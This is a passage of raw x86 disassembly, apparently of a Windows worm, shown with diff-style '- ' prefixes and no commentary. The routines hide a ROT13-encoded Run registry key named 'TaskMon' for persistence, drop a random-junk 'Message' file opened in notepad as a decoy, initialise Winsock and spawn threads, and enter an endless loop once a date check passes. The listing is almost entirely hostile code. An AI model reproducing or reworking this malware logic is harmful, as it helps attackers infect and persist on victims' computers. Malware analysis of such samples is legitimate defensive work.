- call edi ; lstrcpyA
-
- loc_4A3CD2: ; CODE XREF: sub_4A3B88+13Cj
- pop edi
- pop esi
- pop ebx
- leave
- retn
- sub_4A3B88 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A3CD7 proc near ; CODE XREF: main+5Dp
-
- var_74 = byte ptr -74h
-
- push ebp
- lea ebp, [esp+var_74]
- sub esp, 0A4h
- push esi
- push edi
- lea eax, [ebp-30h]
- push offset aFbsgjnerZvpe_0 ; "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefv"...
- push eax
- call sub_4A465E
- lea eax, [ebp+50h]
- push offset aGnfxzba ; "GnfxZba"
- push eax
- call sub_4A465E
- mov esi, ds:RegOpenKeyExA
- add esp, 10h
- lea eax, [ebp+70h]
- mov edi, 20006h
- push eax ; phkResult
- push edi ; samDesired
- lea eax, [ebp-30h]
- push 0 ; ulOptions
- push eax ; lpSubKey
- push 80000002h ; hKey
- call esi ; RegOpenKeyExA
- test eax, eax
- jz short loc_4A3D3A
- lea eax, [ebp+70h]
- push eax ; phkResult
- push edi ; samDesired
- lea eax, [ebp-30h]
- push 0 ; ulOptions
- push eax ; lpSubKey
- push 80000001h ; hKey
- call esi ; RegOpenKeyExA
- test eax, eax
- jnz short loc_4A3D67
-
- loc_4A3D3A: ; CODE XREF: sub_4A3CD7+4Bj
- mov esi, [ebp+7Ch]
- add esi, 110h
- push esi ; lpString
- call ds:lstrlenA
- inc eax
- push eax ; cbData
- push esi ; lpData
- push 1 ; dwType
- lea eax, [ebp+50h]
- push 0 ; Reserved
- push eax ; lpValueName
- push dword ptr [ebp+70h] ; hKey
- call ds:RegSetValueExA
- push dword ptr [ebp+70h]
- call ds:RegCloseKey
-
- loc_4A3D67: ; CODE XREF: sub_4A3CD7+61j
- pop edi
- pop esi
- add ebp, 74h
- leave
- retn
- sub_4A3CD7 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A3D6E proc near ; CODE XREF: main+4Bp
-
- SystemTimeAsFileTime= _FILETIME ptr -10h
- FileTime = _FILETIME ptr -8
- arg_0 = dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 10h
- lea eax, [ebp+SystemTimeAsFileTime]
- push eax ; lpSystemTimeAsFileTime
- call ds:GetSystemTimeAsFileTime
- lea eax, [ebp+FileTime]
- push eax ; lpFileTime
- mov eax, [ebp+arg_0]
- add eax, 224h
- push eax ; lpSystemTime
- call ds:SystemTimeToFileTime
- mov eax, [ebp+SystemTimeAsFileTime.dwHighDateTime]
- cmp eax, [ebp+FileTime.dwHighDateTime]
- jbe short loc_4A3D9E
- xor eax, eax
- inc eax
- leave
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A3D9E: ; CODE XREF: sub_4A3D6E+29j
- jnb short loc_4A3DA4
- xor eax, eax
- leave
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A3DA4: ; CODE XREF: sub_4A3D6E+30j
- mov eax, [ebp+FileTime.dwLowDateTime]
- cmp eax, [ebp+SystemTimeAsFileTime.dwLowDateTime]
- sbb eax, eax
- neg eax
- leave
- retn
- sub_4A3D6E endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A3DB0 proc near ; CODE XREF: main+63p
-
- FileTime = _FILETIME ptr -10h
- SystemTimeAsFileTime= _FILETIME ptr -8
- arg_0 = dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 10h
- lea eax, [ebp+SystemTimeAsFileTime]
- push eax ; lpSystemTimeAsFileTime
- call ds:GetSystemTimeAsFileTime
- lea eax, [ebp+FileTime]
- push eax ; lpFileTime
- mov eax, [ebp+arg_0]
- add eax, 214h
- push eax ; lpSystemTime
- call ds:SystemTimeToFileTime
- mov eax, [ebp+SystemTimeAsFileTime.dwHighDateTime]
- cmp eax, [ebp+FileTime.dwHighDateTime]
- jb short locret_4A3DF5
- mov eax, [ebp+SystemTimeAsFileTime.dwLowDateTime]
- cmp eax, [ebp+FileTime.dwLowDateTime]
- jb short locret_4A3DF5
-
- loc_4A3DE3: ; CODE XREF: sub_4A3DB0+43j
- call sub_4A6C3B
- push 400h ; dwMilliseconds
- call ds:Sleep
- jmp short loc_4A3DE3
- ; ───────────────────────────────────────────────────────────────────────────
-
- locret_4A3DF5: ; CODE XREF: sub_4A3DB0+29j
- ; sub_4A3DB0+31j
- leave
- retn
- sub_4A3DB0 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- ; DWORD __stdcall StartAddress(LPVOID)
- StartAddress proc near ; DATA XREF: main+3Bo
-
- CommandLine = byte ptr -464h
- Buffer = byte ptr -364h
- FileName = byte ptr -164h
- StartupInfo = _STARTUPINFOA ptr -60h
- hHandle = dword ptr -1Ch
- NumberOfBytesWritten= dword ptr -0Ch
- var_8 = dword ptr -8
- hObject = dword ptr -4
-
- push ebp
- mov ebp, esp
- sub esp, 464h
- push ebx
- push esi
- lea eax, [ebp+FileName]
- push edi
- xor ebx, ebx
- push eax ; lpBuffer
- push 104h ; nBufferLength
- mov [ebp+FileName], bl
- call ds:GetTempPathA
- cmp [ebp+FileName], bl
- jz loc_4A3FA9
- lea eax, [ebp+FileName]
- push eax ; lpString
- call ds:lstrlenA
- mov esi, ds:lstrcatA
- lea ecx, [ebp+FileName]
- dec ecx
- cmp byte ptr [eax+ecx], 5Ch
- jz short loc_4A3E57
- lea eax, [ebp+FileName]
- push offset String2 ; lpString2
- push eax ; lpString1
- call esi ; lstrcatA
-
- loc_4A3E57: ; CODE XREF: StartAddress+50j
- lea eax, [ebp+FileName]
- push offset aMessage ; lpString2
- push eax ; lpString1
- call esi ; lstrcatA
- push ebx ; hTemplateFile
- push 80h ; dwFlagsAndAttributes
- push 2 ; dwCreationDisposition
- push ebx ; lpSecurityAttributes
- push 3 ; dwShareMode
- lea eax, [ebp+FileName]
- push 0C0000000h ; dwDesiredAccess
- push eax ; lpFileName
- call ds:CreateFileA
- cmp eax, ebx
- mov [ebp+hObject], eax
- jz loc_4A3F94
- cmp eax, 0FFFFFFFFh
- jz loc_4A3F94
- mov esi, ds:WriteFile
- xor edi, edi
- mov [ebp+var_8], 1000h
-
- loc_4A3EA5: ; CODE XREF: StartAddress+111j
- cmp edi, 1FCh
- jb short loc_4A3EC5
- lea eax, [ebp+NumberOfBytesWritten]
- push ebx ; lpOverlapped
- push eax ; lpNumberOfBytesWritten
- lea eax, [ebp+Buffer]
- push 200h ; nNumberOfBytesToWrite
- push eax ; lpBuffer
- push [ebp+hObject] ; hFile
- call esi ; WriteFile
- xor edi, edi
-
- loc_4A3EC5: ; CODE XREF: StartAddress+B4j
- call sub_4A4221
- movzx eax, ax
- push 4Ch
- cdq
- pop ecx
- idiv ecx
- test edx, edx
- jnz short loc_4A3EEA
- mov [ebp+edi+Buffer], 0Dh
- inc edi
- mov [ebp+edi+Buffer], 0Ah
- jmp short loc_4A3F04
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A3EEA: ; CODE XREF: StartAddress+DEj
- call sub_4A4221
- movzx eax, ax
- cdq
- mov ecx, 0EFh
- idiv ecx
- add dl, 10h
- mov [ebp+edi+Buffer], dl
-
- loc_4A3F04: ; CODE XREF: StartAddress+F1j
- inc edi
- dec [ebp+var_8]
- jnz short loc_4A3EA5
- cmp edi, ebx
- jz short loc_4A3F20
- lea eax, [ebp+NumberOfBytesWritten]
- push ebx ; lpOverlapped
- push eax ; lpNumberOfBytesWritten
- lea eax, [ebp+Buffer]
- push edi ; nNumberOfBytesToWrite
- push eax ; lpBuffer
- push [ebp+hObject] ; hFile
- call esi ; WriteFile
-
- loc_4A3F20: ; CODE XREF: StartAddress+115j
- push [ebp+hObject] ; hObject
- mov esi, ds:CloseHandle
- call esi ; CloseHandle
- lea eax, [ebp+FileName]
- push eax
- lea eax, [ebp+CommandLine]
- push offset aNotepadS ; "notepad %s"
- push eax
- call ds:wsprintfA
- push 44h
- lea eax, [ebp+StartupInfo]
- pop edi
- push edi
- push ebx
- push eax
- call memset
- add esp, 18h
- lea ecx, [ebp+hHandle]
- xor eax, eax
- mov [ebp+StartupInfo.cb], edi
- push ecx ; lpProcessInformation
- lea ecx, [ebp+StartupInfo]
- push ecx ; lpStartupInfo
- push ebx ; lpCurrentDirectory
- inc eax
- push ebx ; lpEnvironment
- push ebx ; dwCreationFlags
- mov [ebp+StartupInfo.dwFlags], eax
- push eax ; bInheritHandles
- push ebx ; lpThreadAttributes
- lea eax, [ebp+CommandLine]
- push ebx ; lpProcessAttributes
- push eax ; lpCommandLine
- push ebx ; lpApplicationName
- mov [ebp+StartupInfo.wShowWindow], 5
- call ds:CreateProcessA
- test eax, eax
- jz short loc_4A3F94
- push 0FFFFFFFFh ; dwMilliseconds
- push [ebp+hHandle] ; hHandle
- call ds:WaitForSingleObject
- push [ebp+hHandle] ; hObject
- call esi ; CloseHandle
-
- loc_4A3F94: ; CODE XREF: StartAddress+90j
- ; StartAddress+99j ...
- cmp [ebp+FileName], bl
- jz short loc_4A3FA9
- lea eax, [ebp+FileName]
- push eax ; lpFileName
- call ds:DeleteFileA
-
- loc_4A3FA9: ; CODE XREF: StartAddress+2Cj
- ; StartAddress+1A3j
- push ebx ; dwExitCode
- call ds:ExitThread
- int 3 ; Trap to Debugger
- StartAddress endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- main proc near ; CODE XREF: start+51p
-
- ThreadId = dword ptr -4
- arg_0 = dword ptr 8
-
- push ebp
- mov ebp, esp
- push ecx
- push ebx
- push esi
- push edi
- call ds:GetTickCount
- mov esi, [ebp+arg_0]
- push esi
- mov [esi+4], eax
- call sub_4A3AA3
- mov ebx, ds:CreateThread
- xor edi, edi
- cmp [esi], edi
- pop ecx
- jnz short loc_4A3FE6
- push esi
- call sub_4A3B52
- test eax, eax
- pop ecx
- jnz short loc_4A404C
- cmp [esi], edi
- jz short loc_4A3FF5
-
- loc_4A3FE6: ; CODE XREF: main+24j
- lea eax, [ebp+ThreadId]
- push eax ; lpThreadId
- push edi ; dwCreationFlags
- push edi ; lpParameter
- push offset StartAddress ; lpStartAddress
- push edi ; dwStackSize
- push edi ; lpThreadAttributes
- call ebx ; CreateThread
-
- loc_4A3FF5: ; CODE XREF: main+33j
- push esi
- call sub_4A3962
- push esi
- call sub_4A3D6E
- pop ecx
- test eax, eax
- pop ecx
- jnz short loc_4A404C
- push esi
- call sub_4A3B88
- push esi
- call sub_4A3CD7
- push esi
- call sub_4A3DB0
- add esp, 0Ch
- call sub_4A48B6
- call sub_4A5CC7
- lea eax, [ebp+ThreadId]
- push eax ; lpThreadId
- push edi ; dwCreationFlags
- push edi ; lpParameter
- push offset dword_4A5CD9 ; lpStartAddress
- push edi ; dwStackSize
- push edi ; lpThreadAttributes
- call ebx ; CreateThread
- call sub_4A6132
-
- loc_4A403A: ; CODE XREF: main+99j
- call sub_4A6645
- push 400h ; dwMilliseconds
- call ds:Sleep
- jmp short loc_4A403A
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A404C: ; CODE XREF: main+2Fj main+54j
- pop edi
- pop esi
- pop ebx
- leave
- retn
- main endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- public start
- start proc near
-
- var_3C4 = byte ptr -3C4h
- var_234 = byte ptr -234h
- var_20 = byte ptr -20h
- var_10 = byte ptr -10h
-
- push ebp
- mov ebp, esp
- sub esp, 3C4h
- push esi
- push edi
- call sub_4A4215
- lea eax, [ebp+var_3C4]
- push eax
- push 2
- call ds:WS2_32_115
- push 234h
- lea eax, [ebp+var_234]
- push 0
- push eax
- call memset
- mov esi, offset dword_4A2428
- lea edi, [ebp+var_10]
- movsd
- movsd
- movsd
- movsd
- mov esi, offset dword_4A2438
- lea edi, [ebp+var_20]
- movsd
- movsd
- movsd
- lea eax, [ebp+var_234]
- push eax
- movsd
- call main
- add esp, 10h
- push 0 ; uExitCode
- call ds:ExitProcess
- int 3 ; Trap to Debugger
- start endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- ; int __cdecl sub_4A40B3(FILETIME *lpFileTime,int)
- sub_4A40B3 proc near ; CODE XREF: sub_4A74DD+B3p
-
- TimeZoneInformation= _TIME_ZONE_INFORMATION ptr -110h
- FileTime = FILETIME ptr -64h
- var_5C = dword ptr -5Ch
- var_58 = dword ptr -58h
- var_54 = dword ptr -54h
- var_50 = dword ptr -50h
- var_4C = dword ptr -4Ch
- var_48 = dword ptr -48h
- var_44 = dword ptr -44h
- var_40 = dword ptr -40h
- var_3C = dword ptr -3Ch
- var_38 = dword ptr -38h
- var_34 = dword ptr -34h
- var_30 = dword ptr -30h
- var_2C = dword ptr -2Ch
- var_28 = dword ptr -28h
- var_24 = dword ptr -24h
- var_20 = dword ptr -20h
- var_1C = dword ptr -1Ch
- var_18 = dword ptr -18h
- var_14 = dword ptr -14h
- SystemTime = _SYSTEMTIME ptr -10h
- lpFileTime = dword ptr 8
- arg_4 = dword ptr 0Ch
-
- push ebp
- mov ebp, esp
- sub esp, 110h
- push esi
- xor esi, esi
- cmp [ebp+lpFileTime], esi
- mov [ebp+var_2C], offset aSun ; "Sun"
- mov [ebp+var_28], offset aMon ; "Mon"
- mov [ebp+var_24], offset aTue ; "Tue"
- mov [ebp+var_20], offset aWed ; "Wed"
- mov [ebp+var_1C], offset aThu ; "Thu"
- mov [ebp+var_18], offset aFri ; "Fri"
- mov [ebp+var_14], offset aSat ; "Sat"
- mov [ebp+var_5C], offset aJan ; "Jan"
- mov [ebp+var_58], offset aFeb ; "Feb"
- mov [ebp+var_54], offset aMar ; "Mar"
- mov [ebp+var_50], offset aApr ; "Apr"
- mov [ebp+var_4C], offset aMay ; "May"
- mov [ebp+var_48], offset aJun ; "Jun"
- mov [ebp+var_44], offset aJul ; "Jul"
- mov [ebp+var_40], offset aAug ; "Aug"
- mov [ebp+var_3C], offset aSep ; "Sep"
- mov [ebp+var_38], offset aOct ; "Oct"
- mov [ebp+var_34], offset aNov ; "Nov"
- mov [ebp+var_30], offset aDec ; "Dec"
- jnz short loc_4A4155
- lea eax, [ebp+SystemTime]
- push eax ; lpSystemTime
- call ds:GetLocalTime
- jmp short loc_4A4170
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4155: ; CODE XREF: sub_4A40B3+94j
- lea eax, [ebp+FileTime]
- push eax ; lpLocalFileTime
- push [ebp+lpFileTime] ; lpFileTime
- call ds:FileTimeToLocalFileTime
- lea eax, [ebp+SystemTime]
- push eax ; lpSystemTime
- lea eax, [ebp+FileTime]
- push eax ; lpFileTime
- call ds:FileTimeToSystemTime
-
- loc_4A4170: ; CODE XREF: sub_4A40B3+A0j
- lea eax, [ebp+TimeZoneInformation]
- mov [ebp+TimeZoneInformation.Bias], esi
- push eax ; lpTimeZoneInformation
- call ds:GetTimeZoneInformation
- mov ecx, [ebp+TimeZoneInformation.Bias]
- cmp eax, 2
- jnz short loc_4A4193
- mov eax, [ebp+TimeZoneInformation.DaylightBias]
- add ecx, eax
-
- loc_4A4193: ; CODE XREF: sub_4A40B3+D9j
- neg ecx
- mov eax, ecx
- jns short loc_4A419B
- neg eax
-
- loc_4A419B: ; CODE XREF: sub_4A40B3+E4j
- cmp [ebp+SystemTime.wDayOfWeek], 6
- jbe short loc_4A41A8
- mov [ebp+SystemTime.wDayOfWeek], 6
-
- loc_4A41A8: ; CODE XREF: sub_4A40B3+EDj
- cmp [ebp+SystemTime.wMonth], si
- jnz short loc_4A41B4
- mov [ebp+SystemTime.wMonth], 1
-
- loc_4A41B4: ; CODE XREF: sub_4A40B3+F9j
- cmp [ebp+SystemTime.wMonth], 0Ch
- jbe short loc_4A41C1
- mov [ebp+SystemTime.wMonth], 0Ch
-
- loc_4A41C1: ; CODE XREF: sub_4A40B3+106j
- cmp ecx, esi
- mov ecx, offset asc_4A2538 ; "+"
- jge short loc_4A41CF
- mov ecx, offset asc_4A2534 ; "-"
-
- loc_4A41CF: ; CODE XREF: sub_4A40B3+115j
- push 3Ch
- cdq
- pop esi
- idiv esi
- push edx
- push eax
- movzx eax, [ebp+SystemTime.wSecond]
- push ecx
- push eax
- movzx eax, [ebp+SystemTime.wMinute]
- push eax
- movzx eax, [ebp+SystemTime.wHour]
- push eax
- movzx eax, [ebp+SystemTime.wYear]
- push eax
- movzx eax, [ebp+SystemTime.wMonth]
- push [ebp+eax*4+FileTime.dwHighDateTime]
- movzx eax, [ebp+SystemTime.wDay]
- push eax
- movzx eax, [ebp+SystemTime.wDayOfWeek]
- push [ebp+eax*4+var_2C]
- push offset aSUSU_2u_2u_2uS ; "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u"
- push [ebp+arg_4]
- call ds:wsprintfA
- add esp, 30h
- pop esi
- leave
- retn
- sub_4A40B3 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A4215 proc near ; CODE XREF: start+Bp
- call ds:GetTickCount
- mov ds:dword_4A81B0, eax
- retn
- sub_4A4215 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A4221 proc near ; CODE XREF: StartAddress+CEp
- ; StartAddress+F3p ...
- mov eax, ds:dword_4A81B0
- imul eax, 15A4E35h
- inc eax
- mov ds:dword_4A81B0, eax
- mov ax, word ptr ds:dword_4A81B0+2
- retn
- sub_4A4221 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A4239 proc near ; CODE XREF: sub_4A586A+28p
- ; sub_4A6CDE+36p ...
- call sub_4A4221
- movzx ecx, ax
- shl ecx, 10h
- call sub_4A4221
- movzx eax, ax
- or eax, ecx
- retn
- sub_4A4239 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A424F proc near ; CODE XREF: sub_4A551A+6Ap
- ; sub_4A551A+96p ...
-
- arg_0 = dword ptr 4
- arg_4 = dword ptr 8
-
- mov eax, [esp+arg_0]
- push esi
- jmp short loc_4A427B
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4256: ; CODE XREF: sub_4A424F+30j
- mov edx, [esp+4+arg_4]
- mov esi, eax
- test cl, cl
- jz short loc_4A4271
-
- loc_4A4260: ; CODE XREF: sub_4A424F+20j
- mov cl, [edx]
- test cl, cl
- jz short loc_4A4271
- cmp [esi], cl
- jnz short loc_4A4271
- inc esi
- inc edx
- cmp byte ptr [esi], 0
- jnz short loc_4A4260
-
- loc_4A4271: ; CODE XREF: sub_4A424F+Fj
- ; sub_4A424F+15j ...
- cmp esi, edx
- jz short loc_4A4283
- cmp byte ptr [edx], 0
- jz short loc_4A4283
- inc eax
-
- loc_4A427B: ; CODE XREF: sub_4A424F+5j
- mov cl, [eax]
- test cl, cl
- jnz short loc_4A4256
- xor eax, eax
-
- loc_4A4283: ; CODE XREF: sub_4A424F+24j
- ; sub_4A424F+29j
- pop esi
- retn
- sub_4A424F endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A4285 proc near ; CODE XREF: sub_4A45E3+2Fp
- ; sub_4A45E3+57p ...
-
- arg_0 = dword ptr 4
- arg_4 = byte ptr 8
-
- mov eax, [esp+arg_0]
- jmp short loc_4A4292
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A428B: ; CODE XREF: sub_4A4285+11j
- cmp cl, [esp+arg_4]
- jz short loc_4A4298
- inc eax
-
- loc_4A4292: ; CODE XREF: sub_4A4285+4j
- mov cl, [eax]
- test cl, cl
- jnz short loc_4A428B
-
- loc_4A4298: ; CODE XREF: sub_4A4285+Aj
- mov cl, [eax]
- sub cl, [esp+arg_4]
- neg cl
- sbb ecx, ecx
- not ecx
- and eax, ecx
- retn
- sub_4A4285 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A42A7 proc near ; CODE XREF: sub_4A5CE7+56p
-
- var_4 = dword ptr -4
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
- arg_8 = dword ptr 10h
-
- push ebp
- mov ebp, esp
- push ecx
- cmp [ebp+arg_8], 0
- push ebx
- push esi
- push edi
- jz short loc_4A42E5
- mov esi, ds:tolower
- mov ebx, [ebp+arg_4]
-
- loc_4A42BD: ; CODE XREF: sub_4A42A7+3Cj
- mov eax, [ebp+arg_0]
- dec [ebp+arg_8]
- movzx edi, byte ptr [eax]
- movzx eax, byte ptr [ebx]
- push eax
- call esi ; tolower
- push edi
- mov [ebp+var_4], eax
- call esi ; tolower
- pop ecx
- inc ebx
- inc [ebp+arg_0]
- pop ecx
- mov ecx, [ebp+var_4]
- cmp eax, ecx
- jnz short loc_4A42EC
- cmp [ebp+arg_8], 0
- jnz short loc_4A42BD
-
- loc_4A42E5: ; CODE XREF: sub_4A42A7+Bj
- xor eax, eax
-
- loc_4A42E7: ; CODE XREF: sub_4A42A7+48j
- pop edi
- pop esi
- pop ebx
- leave
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A42EC: ; CODE XREF: sub_4A42A7+36j
- xor eax, eax
- inc eax
- jmp short loc_4A42E7
- sub_4A42A7 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A42F1 proc near ; CODE XREF: sub_4A55D4+85p
- ; sub_4A55D4+CCp ...
-
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
- arg_8 = dword ptr 10h
-
- push ebp
- mov ebp, esp
- cmp [ebp+arg_8], 0
- jnz short loc_4A42FE
- xor eax, eax
- pop ebp
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A42FE: ; CODE XREF: sub_4A42F1+7j
- mov ecx, [ebp+arg_0]
- mov edx, [ebp+arg_4]
-
- loc_4A4304: ; CODE XREF: sub_4A42F1+24j
- dec [ebp+arg_8]
- jz short loc_4A4317
- mov al, [ecx]
- test al, al
- jz short loc_4A4317
- cmp al, [edx]
- jnz short loc_4A4317
- inc ecx
- inc edx
- jmp short loc_4A4304
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4317: ; CODE XREF: sub_4A42F1+16j
- ; sub_4A42F1+1Cj ...
- movzx eax, byte ptr [ecx]
- movzx ecx, byte ptr [edx]
- sub eax, ecx
- pop ebp
- retn
- sub_4A42F1 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- ; int __cdecl sub_4A4321(const WCHAR WideCharStr)
- sub_4A4321 proc near ; CODE XREF: sub_4A5CE7+CDp
-
- String = byte ptr -24h
- var_23 = byte ptr -23h
- var_10 = dword ptr -10h
- var_C = dword ptr -0Ch
- var_8 = dword ptr -8
- var_4 = dword ptr -4
- WideCharStr = word ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 24h
- push esi
- push edi
- mov edi, dword ptr [ebp+WideCharStr]
- xor esi, esi
- mov [ebp+var_8], esi
- cmp byte ptr [edi], 0
- jz loc_4A4482
- push ebx
-
- loc_4A433B: ; CODE XREF: sub_4A4321+15Aj
- cmp byte ptr [esi+edi], 26h
- jnz loc_4A4476
- mov [ebp+var_4], esi
- inc esi
- cmp byte ptr [esi+edi], 23h
- jnz loc_4A4476
- xor ebx, ebx
- inc esi
-
- loc_4A4356: ; CODE XREF: sub_4A4321+51j
- movsx eax, byte ptr [esi+edi]
- push eax
- call ds:isdigit
- test eax, eax
- pop ecx
- jz short loc_4A4374
- mov al, [esi+edi]
- mov [ebp+ebx+String], al
- inc ebx
- inc esi
- cmp ebx, 0Fh
- jb short loc_4A4356
-
- loc_4A4374: ; CODE XREF: sub_4A4321+43j
- and [ebp+ebx+String], 0
- xor ecx, ecx
- cmp [ebp+String], cl
- mov dword ptr [ebp+WideCharStr], ecx
- jz short loc_4A4399
- lea eax, [ebp+String]
-
- loc_4A4386: ; CODE XREF: sub_4A4321+73j
- movsx edx, byte ptr [eax]
- inc eax
- lea ecx, [ecx+ecx*4]
- cmp byte ptr [eax], 0
- lea ecx, [edx+ecx*2-30h]
- jnz short loc_4A4386
- mov dword ptr [ebp+WideCharStr], ecx
-
- loc_4A4399: ; CODE XREF: sub_4A4321+60j
- cmp byte ptr [esi+edi], 3Bh
- jnz short loc_4A43A0
- inc esi
-
- loc_4A43A0: ; CODE XREF: sub_4A4321+7Cj
- test ecx, ecx
- jle loc_4A4476
- xor ebx, ebx
- push 14h
- lea eax, [ebp+String]
- push ebx
- push eax
- call memset
- mov eax, dword ptr [ebp+WideCharStr]
- add esp, 0Ch
- cmp eax, 100h
- jge short loc_4A43CB
- and [ebp+var_23], bl
- mov [ebp+String], al
- jmp short loc_4A43E1
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A43CB: ; CODE XREF: sub_4A4321+A0j
- push ebx ; lpUsedDefaultChar
- push ebx ; lpDefaultChar
- lea eax, [ebp+String]
- push 14h ; cchMultiByte
- push eax ; lpMultiByteStr
- lea eax, [ebp+WideCharStr]
- push 1 ; cchWideChar
- push eax ; lpWideCharStr
- push ebx ; dwFlags
- push ebx ; CodePage
- call ds:WideCharToMultiByte
-
- loc_4A43E1: ; CODE XREF: sub_4A4321+A8j
- cmp [ebp+String], 0
- jz loc_4A4476
- mov ebx, [ebp+var_4]
- lea eax, [ebp+String]
- sub esi, ebx
- push eax ; lpString
- mov [ebp+var_C], esi
- call ds:lstrlenA
- cmp esi, eax
- mov [ebp+var_10], eax
- jz short loc_4A4455
- mov ecx, [ebp+var_4]
- add esi, ebx
- push edi ; lpString
- lea ebx, [esi+edi]
- lea esi, [eax+ecx]
- add esi, edi
- call ds:lstrlenA
- mov ecx, edi
- sub ecx, ebx
- cmp esi, ebx
- lea ecx, [eax+ecx+1]
- jnb short loc_4A443F
- xor esi, esi
- test ecx, ecx
- jle short loc_4A4455
- mov eax, ebx
- sub eax, [ebp+var_C]
- add eax, [ebp+var_10]
-
- loc_4A4432: ; CODE XREF: sub_4A4321+11Aj
- mov dl, [ebx+esi]
- mov [eax], dl
- inc eax
- inc esi
- cmp esi, ecx
- jl short loc_4A4432
- jmp short loc_4A4455
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A443F: ; CODE XREF: sub_4A4321+101j
- lea eax, [ecx-1]
- test eax, eax
- jl short loc_4A4455
- lea ecx, [esi+eax]
- sub ebx, esi
- inc eax
-
- loc_4A444C: ; CODE XREF: sub_4A4321+132j
- mov dl, [ebx+ecx]
- mov [ecx], dl
- dec ecx
- dec eax
- jnz short loc_4A444C
-
- loc_4A4455: ; CODE XREF: sub_4A4321+E1j
- ; sub_4A4321+107j ...
- lea eax, [ebp+String]
- push eax ; lpString
- call ds:lstrlenA
- mov esi, [ebp+var_4]
- push eax
- lea eax, [ebp+String]
- push eax
- lea eax, [esi+edi]
- push eax
- call memcpy
- add esp, 0Ch
- inc [ebp+var_8]
-
- loc_4A4476: ; CODE XREF: sub_4A4321+1Ej
- ; sub_4A4321+2Cj ...
- inc esi
- cmp byte ptr [esi+edi], 0
- jnz loc_4A433B
- pop ebx
-
- loc_4A4482: ; CODE XREF: sub_4A4321+13j
- mov eax, [ebp+var_8]
- pop edi
- pop esi
- leave
- retn
- sub_4A4321 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A4489 proc near ; CODE XREF: sub_4A5CE7+D6p
-
- String = byte ptr -18h
- var_17 = byte ptr -17h
- var_16 = byte ptr -16h
- var_4 = dword ptr -4
- arg_0 = dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 18h
- push esi
- push edi
- mov edi, [ebp+arg_0]
- xor esi, esi
- mov [ebp+var_4], esi
- cmp byte ptr [edi], 0
- jz loc_4A45BD
- push ebx
-
- loc_4A44A3: ; CODE XREF: sub_4A4489+12Dj
- cmp byte ptr [esi+edi], 25h
- jnz loc_4A45B1
- movsx eax, byte ptr [edi+esi+1]
- mov ebx, ds:isxdigit
- push eax
- mov [ebp+arg_0], esi
- call ebx ; isxdigit
- test eax, eax
- pop ecx
- jz loc_4A45B1
- inc esi
- movsx eax, byte ptr [esi+edi]
- push eax
- call ds:toupper
- mov [ebp+String], al
- movsx eax, byte ptr [edi+esi+1]
- push eax
- call ebx ; isxdigit
- pop ecx
- test eax, eax
- pop ecx
- jz loc_4A45B1
- inc esi
- movsx eax, byte ptr [esi+edi]
- push eax
- call ds:toupper
- and [ebp+var_16], 0
- inc esi
- cmp al, 41h
- pop ecx
- mov [ebp+var_17], al
- jl short loc_4A450D
- cmp al, 5Ah
- jg short loc_4A450D
- movsx ecx, al
- sub ecx, 37h
- jmp short loc_4A4513
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A450D: ; CODE XREF: sub_4A4489+76j
- ; sub_4A4489+7Aj
- movsx ecx, al
- sub ecx, 30h
-
- loc_4A4513: ; CODE XREF: sub_4A4489+82j
- mov al, [ebp+String]
- cmp al, 41h
- jl short loc_4A4526
- cmp al, 5Ah
- jg short loc_4A4526
- movsx eax, al
- sub eax, 37h
- jmp short loc_4A452C
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A4526: ; CODE XREF: sub_4A4489+8Fj
- ; sub_4A4489+93j
- movsx eax, al
- sub eax, 30h
-
- loc_4A452C: ; CODE XREF: sub_4A4489+9Bj
- shl eax, 4
- add ecx, eax
- test ecx, ecx
